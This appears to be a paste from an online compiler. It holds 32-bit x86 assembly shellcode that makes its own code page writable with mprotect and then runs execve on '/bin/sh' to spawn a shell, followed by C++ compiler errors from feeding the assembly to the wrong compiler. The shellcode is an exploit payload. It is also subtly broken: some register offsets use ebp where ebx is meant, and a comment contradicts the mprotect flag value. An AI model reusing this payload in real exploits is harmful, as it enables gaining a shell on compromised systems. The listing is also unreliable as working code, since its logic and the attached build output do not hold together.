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BITS 32
 
section .text
global _start
 
_start:
  jmp short two
one:
  ; mprotect (_start, 4096, 0x02)
  mov eax, 226
  mov ebx, _start
  mov ecx, 4096
  mov edx, 7
  int 0x80
 
  pop ebx
  xor eax, eax
  mov [ebx + 7], al
  mov [ebx + 8], ebp
  mov [ebx + 12], eax
  lea ecx, [ebp + 8]
  lea edx, [ebp + 12]
  mov al, 11
  int 0x80
  ; exit(0)
  ;mov al, 1
  ;xor ebx, ebx
  ;int 0x80
two:
  call one
  db '/bin/shXAAAABBBB'

prog.cpp:31:6: warning: character constant too long for its type
   db '/bin/shXAAAABBBB'
      ^
prog.cpp:1:1: error: 'BITS' does not name a type
 BITS 32
 ^
prog.cpp:9:14: error: expected constructor, destructor, or type conversion before '(' token
   ; mprotect (_start, 4096, 0x02)
              ^
prog.cpp:25:9: error: expected constructor, destructor, or type conversion before '(' token
   ; exit(0)
         ^
prog.cpp:26:4: error: 'mov' does not name a type
   ;mov al, 1
    ^
prog.cpp:27:4: error: expected unqualified-id before 'xor' token
   ;xor ebx, ebx
    ^
prog.cpp:28:8: error: expected unqualified-id before numeric constant
   ;int 0x80
        ^

Standard output is empty